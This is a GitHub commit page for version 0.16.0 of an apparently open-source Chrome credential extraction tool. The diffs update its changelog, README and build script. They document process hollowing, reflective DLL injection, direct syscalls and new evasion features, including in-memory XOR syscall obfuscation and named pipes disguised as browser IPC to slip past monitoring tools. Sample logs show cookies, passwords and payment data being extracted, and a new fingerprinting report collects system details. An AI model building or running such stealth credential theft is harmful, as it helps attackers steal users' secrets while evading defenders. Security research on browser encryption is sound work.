Skip to content

Commit e4e5c47

Browse files
committed
v0.16.0
1 parent 12453f2 commit e4e5c47

15 files changed

+884
-84
lines changed

CHANGELOG.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,26 @@
22

33
## 🆕 Changelog
44

5+
### v0.16.0
6+
- **Syscall Obfuscation**: Added runtime protection for the syscall engine.
7+
- Syscall Service Numbers (SSNs) and gadget pointers are XOR-encrypted in memory.
8+
- Encryption keys are derived from runtime system state, making each execution unique.
9+
- Protects all syscalls from memory scanning.
10+
- **IPC Hardening**: Replaced GUID-based pipe names with browser-specific patterns.
11+
- Names generated from process/thread IDs and tick count.
12+
- **Browser Fingerprinting**: Optional extraction of comprehensive browser metadata (use `--fingerprint` or `-f` flag).
13+
- Browser version, executable path, user data path, and profile count.
14+
- Update channel (stable/beta/dev/canary) and default search engine.
15+
- Security features: autofill status, password manager, safe browsing.
16+
- Extension details: count and IDs of all installed extensions.
17+
- System information: computer name, Windows username, extraction timestamp.
18+
- Sync/sign-in status and enterprise management detection.
19+
- Outputs JSON report to `fingerprint.json`.
20+
- Mimics legitimate browser IPC to evade monitoring tools.
21+
- **Bug Fixes**:
22+
- Fixed race condition in pipe communication that caused extraction failures in non-verbose mode.
23+
- Multi-profile extraction now continues on individual profile failures.
24+
525
### v0.15.0
626
- **Multi-Browser Extraction with "all" Option**: New command-line option to automatically enumerate and extract data from all installed browsers in a single run.
727
- Added `chromelevator.exe all` option that discovers all installed browsers (Chrome, Edge, Brave).

README.md

Lines changed: 63 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -33,11 +33,14 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
3333
- 🔓 Full user-mode decryption of cookies, passwords, and payment methods.
3434
- 📁 Discovers and processes all user profiles (Default, Profile 1, etc.).
3535
- 📝 Exports all extracted data into structured JSON files, organized by profile.
36+
- 🔍 Browser Fingerprinting of browser metadata and system information.
3637

3738
### Stealth & Evasion
3839

3940
- 🛡️ **Fileless Payload Delivery:** In-memory decryption and injection of an encrypted resource.
4041
- 🛡️ **Direct Syscall Engine:** Bypasses common endpoint defenses by avoiding hooked user-land APIs for all process operations.
42+
- 🛡️ **Syscall Obfuscation:** Runtime XOR encryption of syscall table in memory to evade detection by security tools.
43+
- 🛡️ **IPC Mimicry:** Browser-specific named pipe patterns that blend with legitimate browser IPC traffic.
4144
- 🤫 **Process Hollowing:** Creates a benign, suspended host process for the payload, avoiding injection into potentially monitored processes.
4245
- 👻 **Reflective DLL Injection:** Stealthily loads the payload without suspicious `LoadLibrary` calls.
4346
- 🔒 **Proactive File-Lock Mitigation:** Automatically terminates browser utility processes that hold locks on target database files.
@@ -57,9 +60,9 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
5760

5861
| Browser | Tested Version (x64 & ARM64) |
5962
| ------------------ | ---------------------------- |
60-
| **Google Chrome** | 139.0.7258.139 |
61-
| **Brave** | 1.81.136 (139.0.7258.143) |
62-
| **Microsoft Edge** | 140.0.3485.14 |
63+
| **Google Chrome** | 141.0.7390.66 |
64+
| **Brave** | 1.83.109 (141.0.7390.55) |
65+
| **Microsoft Edge** | 141.0.3537.57 |
6366

6467
## 🔬 Technical Workflow
6568

@@ -119,14 +122,15 @@ _________ .__ ___________.__ __
119122
\/ \/ \/ \/ \/ \/
120123

121124
Direct Syscall-Based Reflective Hollowing
122-
x64 & ARM64 | v0.15.0 by @xaitax
125+
x64 & ARM64 | v0.16.0 by @xaitax
123126

124127
Usage:
125128
chrome_inject.exe [options] <chrome|brave|edge|all>
126129

127130
Options:
128131
--output-path|-o <path> Directory for output files (default: .\output\)
129132
--verbose|-v Enable verbose debug output from the injector
133+
--fingerprint|-f Extract browser fingerprinting data
130134
--help|-h Show this help message
131135

132136
Browser targets:
@@ -138,8 +142,6 @@ Browser targets:
138142
139143
### Options
140144
141-
Options
142-
143145
- `--output-path <path>` or `-o <path>`
144146
Specifies the base directory for output files.
145147
Defaults to `.\output\` relative to the injector's location.
@@ -148,6 +150,10 @@ Options
148150
- `--verbose` or `-v`
149151
Enable extensive debugging output from the injector.
150152
153+
- `--fingerprint` or `-f`
154+
Extract comprehensive browser fingerprinting data including version, extensions, security settings, and system information.
155+
Results saved to `fingerprint.json` in the browser's output directory.
156+
151157
- `--help` or `-h`
152158
Show this help message.
153159

@@ -163,7 +169,7 @@ _________ .__ ___________.__ __
163169
\/ \/ \/ \/ \/ \/
164170
165171
Direct Syscall-Based Reflective Hollowing
166-
x64 & ARM64 | v0.15.0 by @xaitax
172+
x64 & ARM64 | v0.16.0 by @xaitax
167173
168174
[*] Processing 3 browser(s):
169175
@@ -188,7 +194,7 @@ _________ .__ ___________.__ __
188194
#### Verbose
189195
190196
```bash
191-
PS> .\chromelevator.exe chrome -v
197+
PS> .\chromelevator.exe chrome -v -f
192198
_________ .__ ___________.__ __
193199
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
194200
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
@@ -197,23 +203,24 @@ _________ .__ ___________.__ __
197203
\/ \/ \/ \/ \/ \/
198204
199205
Direct Syscall-Based Reflective Hollowing
200-
x64 & ARM64 | v0.15.0 by @xaitax
206+
x64 & ARM64 | v0.16.0 by @xaitax
201207
202208
[#] Found and sorted 489 Zw* functions.
203-
[#] Initialized 19 syscall stubs.
209+
[#] Initialized 19 syscall stubs (with obfuscation).
210+
[#] Obfuscation layer active - syscalls encrypted in memory
204211
[#] Searching Registry for: chrome.exe
205212
[#] Found at: C:\Program Files\Google\Chrome\Application\chrome.exe
206213
[#] Scanning for and terminating browser network services...
207214
[#] Creating suspended Chrome process.
208215
[#] Target executable path: C:\Program Files\Google\Chrome\Application\chrome.exe
209-
[#] Created suspended process PID: 16392
216+
[#] Created suspended process PID: 21708
210217
[#] Architecture match: Injector=ARM64, Target=ARM64
211-
[#] Named pipe server created: \\.\pipe\b4de02e0-297f-4910-8b5a-51ee0f3804ac
218+
[#] Named pipe server created: \\.\pipe\chrome.sync.9707.22756.1BE8
212219
[#] Loading and decrypting payload DLL.
213220
[#] Parsing payload PE headers for ReflectiveLoader.
214-
[#] ReflectiveLoader found at file offset: 0x14a50
221+
[#] ReflectiveLoader found at file offset: 0x17930
215222
[#] Allocating memory for payload in target process.
216-
[#] Combined memory for payload and parameters allocated at: 0x24706250000
223+
[#] Combined memory for payload and parameters allocated at: 0x243d93a0000
217224
[#] Writing payload DLL to target process.
218225
[#] Writing pipe name parameter into the same allocation.
219226
[#] Changing payload memory protection to executable.
@@ -223,8 +230,9 @@ _________ .__ ___________.__ __
223230
[#] Waiting for payload to connect to named pipe.
224231
[#] Payload connected to named pipe.
225232
[#] Sent message to pipe: VERBOSE_TRUE
233+
[#] Sent message to pipe: FINGERPRINT_TRUE
226234
[#] Sent message to pipe: C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output
227-
[#] Waiting for payload execution. (Pipe: \\.\pipe\b4de02e0-297f-4910-8b5a-51ee0f3804ac)
235+
[#] Waiting for payload execution. (Pipe: \\.\pipe\chrome.sync.9707.22756.1BE8)
228236
229237
[*] Decryption process started for Chrome
230238
[+] COM library initialized (APARTMENTTHREADED).
@@ -234,21 +242,23 @@ _________ .__ ___________.__ __
234242
[*] Discovering browser profiles in: C:\Users\ah\AppData\Local\Google\Chrome\User Data
235243
[+] Found 2 profile(s).
236244
[*] Processing profile: Default
237-
[*] 371 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\cookies.json
245+
[*] 380 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\cookies.json
238246
[*] 1 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\passwords.json
239247
[*] Processing profile: Profile 1
240-
[*] 110 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\cookies.json
241-
[*] 1 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\passwords.json
248+
[*] 131 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\cookies.json
249+
[*] 2 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\passwords.json
242250
[*] 1 payments extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\payments.json
243-
[*] All profiles processed. Decryption process finished.
251+
[*] Extraction complete: 2 successful, 0 failed.
252+
[*] Extracting browser fingerprint data...
253+
[*] Discovering browser profiles in: C:\Users\ah\AppData\Local\Google\Chrome\User Data
254+
[+] Found 2 profile(s).
255+
[+] Browser fingerprint extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\fingerprint.json
244256
[#] Payload completion signal received.
245257
246258
[#] Payload signaled completion or pipe interaction ended.
247-
[#] Terminating browser PID=16392 via direct syscall.
259+
[#] Terminating browser PID=21708 via direct syscall.
248260
[#] Chrome terminated by injector.
249-
[+]
250-
Extraction completed successfully
251-
[#] Injector finished successfully.
261+
[+] Extraction completed successfully
252262
```
253263
254264
## 📂 Data Extraction
@@ -328,6 +338,36 @@ Each payment file is a JSON array of objects:
328338
]
329339
```
330340
341+
### 🔍 Browser Fingerprinting
342+
343+
When using the `--fingerprint` flag, a comprehensive metadata report is generated:
344+
345+
```json
346+
{
347+
"browser": "Brave",
348+
"browser_version": "141.1.83.109",
349+
"executable_path": "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
350+
"user_data_path": "C:\\Users\\username\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data",
351+
"sync_enabled": false,
352+
"enterprise_managed": false,
353+
"update_channel": "stable",
354+
"default_search_engine": "Google",
355+
"hardware_acceleration": true,
356+
"autofill_enabled": true,
357+
"password_manager_enabled": true,
358+
"safe_browsing_enabled": true,
359+
"installed_extensions_count": 12,
360+
"extension_ids": ["abc123...", "def456...", ...],
361+
"profile_count": 1,
362+
"computer_name": "DESKTOP-ABC123",
363+
"windows_user": "username",
364+
"last_config_update": 1759127932,
365+
"extraction_timestamp": 1759213456
366+
}
367+
```
368+
369+
This data provides intelligence about the browser's configuration, security posture, and system context.
370+
331371
## 📚 In-Depth Technical Analysis & Research
332372
333373
For a comprehensive understanding of Chrome's App-Bound Encryption, the intricacies of its implementation, the detailed mechanics of this tool's approach, and a broader discussion of related security vectors, please refer to my detailed research paper:

make.bat

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,10 +12,11 @@ set "PAYLOAD_DLL_NAME=chrome_decrypt.dll"
1212
set "ENCRYPTOR_EXE_NAME=encryptor.exe"
1313
set "VERBOSE=1"
1414

15-
:: Compiler and Linker Flags
16-
set "CFLAGS_COMMON=/nologo /W3 /O2 /MT /GS-"
15+
:: Compiler and Linker Flags (Optimized for size and stealth)
16+
set "CFLAGS_COMMON=/nologo /W3 /O1 /MT /GS- /Gy /GL"
1717
set "CFLAGS_CPP_ONLY=/EHsc /std:c++17"
18-
set "LFLAGS_COMMON=/link /NOLOGO /DYNAMICBASE /NXCOMPAT"
18+
set "LFLAGS_COMMON=/link /NOLOGO /LTCG /OPT:REF /OPT:ICF /DYNAMICBASE /NXCOMPAT /EMITPOGOPHASEINFO"
19+
set "LFLAGS_STRIP=/PDBALTPATH:none /NOCOFFGRPINFO"
1920

2021
:: =============================================================================
2122
:: = COLORS =
@@ -238,10 +239,16 @@ goto :eof
238239
set "CMD_COMPILE_INJECTOR_SRC=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /I%LIBS_DIR%\chacha /c %SRC_DIR%\chrome_inject.cpp /Fo"%BUILD_DIR%\chrome_inject.obj""
239240
call :run_command "!CMD_COMPILE_INJECTOR_SRC!" " - Compiling C++ source (chrome_inject.cpp)..."
240241
if %errorlevel% neq 0 exit /b 1
242+
241243
set "CMD_COMPILE_SYSCALLS_SRC=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /c %SRC_DIR%\syscalls.cpp /Fo"%BUILD_DIR%\syscalls.obj""
242244
call :run_command "!CMD_COMPILE_SYSCALLS_SRC!" " - Compiling C++ source (syscalls.cpp)..."
243245
if %errorlevel% neq 0 exit /b 1
244-
set "CMD_LINK_FINAL=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% "%BUILD_DIR%\chrome_inject.obj" "%BUILD_DIR%\syscalls.obj" !TRAMPOLINE_OBJ! "%BUILD_DIR%\resource.res" version.lib shell32.lib %LFLAGS_COMMON% /OUT:".\%FINAL_EXE_NAME%""
246+
247+
set "CMD_COMPILE_OBFUSCATION_SRC=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /c %SRC_DIR%\syscalls_obfuscation.cpp /Fo"%BUILD_DIR%\syscalls_obfuscation.obj""
248+
call :run_command "!CMD_COMPILE_OBFUSCATION_SRC!" " - Compiling C++ source (syscalls_obfuscation.cpp)..."
249+
if %errorlevel% neq 0 exit /b 1
250+
251+
set "CMD_LINK_FINAL=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% "%BUILD_DIR%\chrome_inject.obj" "%BUILD_DIR%\syscalls.obj" "%BUILD_DIR%\syscalls_obfuscation.obj" !TRAMPOLINE_OBJ! "%BUILD_DIR%\resource.res" version.lib shell32.lib %LFLAGS_COMMON% %LFLAGS_STRIP% /OUT:".\%FINAL_EXE_NAME%""
245252
call :run_command "!CMD_LINK_FINAL!" " - Linking final executable..."
246253
if %errorlevel% neq 0 exit /b 1
247254
call :log_success "Final injector built successfully."

0 commit comments

Comments
 (0)